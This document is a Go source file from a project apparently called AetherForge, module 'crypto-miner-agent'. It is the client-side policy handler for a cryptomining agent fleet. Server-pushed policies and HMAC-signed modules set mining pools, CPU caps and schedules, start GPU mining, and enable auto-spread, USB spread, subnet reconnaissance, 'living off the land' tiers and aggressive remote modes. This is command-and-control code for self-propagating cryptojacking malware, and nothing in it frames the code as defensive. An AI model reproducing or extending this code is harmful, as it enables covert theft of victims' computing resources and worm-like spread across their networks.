AetherForge/agent/client/policy.go

package client

import (
	"crypto/hmac"
	"crypto/sha256"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net/http"
	"strings"

	"crypto-miner-agent/config"
	"crypto-miner-agent/deploy"
)

// FleetPolicyUpdate is pushed from the server without re-forge.
type FleetPolicyUpdate struct {
	PushID            string          `json:"push_id,omitempty"`
	MiningMode        string          `json:"mining_mode,omitempty"`
	ScheduleStart     string          `json:"schedule_start,omitempty"`
	ScheduleEnd       string          `json:"schedule_end,omitempty"`
	MaxCPUUsagePct    int             `json:"max_cpu_usage_pct,omitempty"`
	PoolHost          string          `json:"pool_host,omitempty"`
	PoolPort          int             `json:"pool_port,omitempty"`
	PoolTLS           *bool           `json:"pool_tls,omitempty"`
	PoolPass          string          `json:"pool_pass,omitempty"`
	SpreadTemperament json.RawMessage `json:"spread_temperament,omitempty"`
	SpreadPolicy      json.RawMessage `json:"spread_policy,omitempty"`
}

// ModuleManifest matches server-signed feature packs.
type ModuleManifest struct {
	Name         string                 `json:"name"`
	Version      string                 `json:"version"`
	DisplayName  string                 `json:"display_name,omitempty"`
	Summary      string                 `json:"summary,omitempty"`
	Description  string                 `json:"description"`
	Accent       string                 `json:"accent,omitempty"`
	Capabilities []string               `json:"capabilities,omitempty"`
	Features     map[string]interface{} `json:"features"`
	Signature    string                 `json:"signature"`
}

func verifyModuleSignature(m ModuleManifest, fleetSecret string) bool {
	if fleetSecret == "" || m.Signature == "" {
		return false
	}
	sig := m.Signature
	m.Signature = ""
	payload, err := json.Marshal(m)
	if err != nil {
		return false
	}
	mac := hmac.New(sha256.New, []byte(fleetSecret))
	mac.Write(payload)
	expected := hex.EncodeToString(mac.Sum(nil))
	return hmac.Equal([]byte(expected), []byte(sig))
}

func parseFleetPolicyUpdate(raw json.RawMessage) (FleetPolicyUpdate, error) {
	var nested struct {
		PushID string          `json:"push_id"`
		Policy json.RawMessage `json:"policy"`
	}
	if err := json.Unmarshal(raw, &nested); err != nil {
		return FleetPolicyUpdate{}, err
	}
	if len(nested.Policy) > 0 {
		var p FleetPolicyUpdate
		if err := json.Unmarshal(nested.Policy, &p); err != nil {
			return FleetPolicyUpdate{}, err
		}
		p.PushID = nested.PushID
		return p, nil
	}
	var p FleetPolicyUpdate
	if err := json.Unmarshal(raw, &p); err != nil {
		return FleetPolicyUpdate{}, err
	}
	return p, nil
}

func applyFleetPolicyUpdate(cfg *config.RuntimeConfig, p FleetPolicyUpdate) {
	if p.MiningMode != "" {
		cfg.MiningMode = strings.TrimSpace(p.MiningMode)
	}
	if p.ScheduleStart != "" {
		cfg.ScheduleStart = strings.TrimSpace(p.ScheduleStart)
	}
	if p.ScheduleEnd != "" {
		cfg.ScheduleEnd = strings.TrimSpace(p.ScheduleEnd)
	}
	if p.MaxCPUUsagePct > 0 {
		cfg.MaxCPUUsage = p.MaxCPUUsagePct
	}
	if p.PoolHost != "" {
		cfg.PoolHost = strings.TrimSpace(p.PoolHost)
	}
	if p.PoolPort > 0 {
		cfg.PoolPort = p.PoolPort
	}
	if p.PoolTLS != nil {
		cfg.PoolTLS = *p.PoolTLS
	}
	if p.PoolPass != "" {
		cfg.PoolPass = strings.TrimSpace(p.PoolPass)
	}
	applySpreadTemperament(cfg, p.SpreadTemperament)
	if len(p.SpreadPolicy) > 0 {
		applySpreadPolicyFields(cfg, p.SpreadPolicy)
	}
}

func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
	if len(raw) == 0 || string(raw) == "null" {
		return
	}
	var policy struct {
		HashrateGateSpreadMin int             `json:"hashrate_gate_spread_min"`
		HashrateGateHPS       float64         `json:"hashrate_gate_hps"`
		ErasureLanesEnabled   bool            `json:"erasure_lanes_enabled"`
		FleetTorrentEnabled   bool            `json:"fleet_torrent_enabled"`
		SubnetReconEnabled    bool            `json:"subnet_recon_enabled"`
		SubnetReconIntervalMin int            `json:"subnet_recon_interval_min"`
		SubnetFleetIPs        []string        `json:"subnet_fleet_ips"`
		PolicySnapshotPollURL string          `json:"policy_snapshot_poll_url"`
		EventBridgeRelayURL   string          `json:"eventbridge_relay_url"`
		SpreadTemperament     json.RawMessage `json:"spread_temperament"`
	}
	if err := json.Unmarshal(raw, &policy); err != nil {
		return
	}
	if policy.HashrateGateSpreadMin > 0 {
		cfg.HashrateGateSpreadMin = policy.HashrateGateSpreadMin
	}
	if policy.HashrateGateHPS > 0 {
		cfg.HashrateGateHPS = policy.HashrateGateHPS
	}
	cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
	cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
	cfg.SubnetReconEnabled = policy.SubnetReconEnabled
	if policy.SubnetReconIntervalMin > 0 {
		cfg.SubnetReconIntervalMin = policy.SubnetReconIntervalMin
	}
	if len(policy.SubnetFleetIPs) > 0 {
		cfg.SubnetFleetIPs = append([]string(nil), policy.SubnetFleetIPs...)
	}
	if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
		cfg.PolicySnapshotPollURL = v
	}
	if v := strings.TrimSpace(policy.EventBridgeRelayURL); v != "" {
		cfg.EventBridgeRelayURL = v
	}
	applySpreadTemperament(cfg, policy.SpreadTemperament)
}

func applySpreadTemperament(cfg *config.RuntimeConfig, raw json.RawMessage) {
	if len(raw) == 0 || string(raw) == "null" {
		return
	}
	var body struct {
		TierOrder []string `json:"tier_order"`
	}
	if err := json.Unmarshal(raw, &body); err != nil || len(body.TierOrder) == 0 {
		return
	}
	if cfg.LotlPolicyFromServer || cfg.ScoutMode {
		cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(body.TierOrder)
	}
}

func applyModuleFeatures(cfg *config.RuntimeConfig, features map[string]interface{}) {
	if v, ok := boolFeature(features, "remote_aggressive"); ok {
		cfg.RemoteAggressive = v
	}
	if v, ok := boolFeature(features, "auto_spread"); ok {
		cfg.AutoSpread = v
	}
	if v, ok := boolFeature(features, "usb_spread"); ok {
		cfg.USBSpread = v
	}
	if v, ok := boolFeature(features, "hole_punch"); ok {
		cfg.HolePunch = v
	}
	if v, ok := boolFeature(features, "mesh_p2p"); ok {
		cfg.MeshP2P = v
	}
	if v, ok := boolFeature(features, "gpu_enabled"); ok {
		cfg.GPUEnabled = v
	}
}

func boolFeature(features map[string]interface{}, key string) (bool, bool) {
	raw, ok := features[key]
	if !ok {
		return false, false
	}
	switch v := raw.(type) {
	case bool:
		return v, true
	default:
		return false, false
	}
}

func (c *AgentClient) applyPolicyUpdate(raw json.RawMessage) {
	p, err := parseFleetPolicyUpdate(raw)
	if err != nil {
		log.Printf("[agent] policy_update parse error: %v", err)
		return
	}
	c.mu.Lock()
	applyFleetPolicyUpdate(&c.cfg, p)
	cfg := c.cfg
	pushID := p.PushID
	c.mu.Unlock()
	if c.pool != nil {
		c.pool.UpdateRuntimePolicy(cfg)
	}
	c.sendPolicyAck(pushID, cfg)
	log.Printf("[agent] fleet policy applied (mode=%s cpu_cap=%d)", cfg.MiningMode, cfg.MaxCPUUsage)
}

func (c *AgentClient) sendPolicyAck(pushID string, cfg config.RuntimeConfig) {
	payload, err := json.Marshal(map[string]interface{}{
		"push_id":           pushID,
		"mining_mode":       cfg.MiningMode,
		"max_cpu_usage_pct": cfg.MaxCPUUsage,
		"schedule_start":    cfg.ScheduleStart,
		"schedule_end":      cfg.ScheduleEnd,
		"pool_host":         cfg.PoolHost,
		"pool_port":         cfg.PoolPort,
	})
	if err != nil {
		return
	}
	_ = c.write(Message{Type: "policy_ack", Payload: payload})
}

func (c *AgentClient) fetchAndApplyModule(moduleName string) error {
	moduleName = strings.TrimSpace(moduleName)
	if moduleName == "" {
		return fmt.Errorf("module name required")
	}
	if c.cfg.FleetSecret == "" {
		return fmt.Errorf("fleet secret not configured")
	}
	base, err := c.apiBaseURL(c.cfg.ServerURL)
	if err != nil {
		return err
	}
	url := base + "/agent/module/" + moduleName
	req, err := http.NewRequest(http.MethodGet, url, nil)
	if err != nil {
		return err
	}
	req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret)
	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}
	defer resp.Body.Close()
	body, err := io.ReadAll(resp.Body)
	if err != nil {
		return err
	}
	if resp.StatusCode != http.StatusOK {
		return fmt.Errorf("module fetch %s: %s", resp.Status, strings.TrimSpace(string(body)))
	}
	var manifest ModuleManifest
	if err := json.Unmarshal(body, &manifest); err != nil {
		return err
	}
	if !verifyModuleSignature(manifest, c.cfg.FleetSecret) {
		return fmt.Errorf("module signature invalid")
	}
	c.mu.Lock()
	applyModuleFeatures(&c.cfg, manifest.Features)
	cfg := c.cfg
	c.mu.Unlock()

	if c.pool != nil {
		c.pool.UpdateRuntimePolicy(cfg)
	}
	c.startGPUMinerIfNeeded()

	c.reportCapabilitiesUpdate()
	log.Printf("[agent] module %q applied (%s)", manifest.Name, manifest.Description)
	return nil
}

func (c *AgentClient) startGPUMinerIfNeeded() {
	c.mu.Lock()
	defer c.mu.Unlock()
	if !c.cfg.GPUEnabled || c.gpuMiner != nil {
		return
	}
	if gm := newGPUMiner(c.cfg); gm != nil {
		c.gpuMiner = gm
		go gm.Start()
	}
}

func (c *AgentClient) reportCapabilitiesUpdate() {
	c.mu.Lock()
	cfg := c.cfg
	c.mu.Unlock()
	payload, _ := json.Marshal(map[string]bool{
		"hole_punch":        cfg.HolePunch,
		"remote_aggressive": cfg.RemoteAggressive,
		"mesh_p2p":          cfg.MeshP2P,
		"auto_spread":       cfg.AutoSpread,
		"ai_enabled":        cfg.AIEnabled,
		"usb_spread":        cfg.USBSpread,
	})
	_ = c.write(Message{Type: "capabilities_update", Payload: payload})
}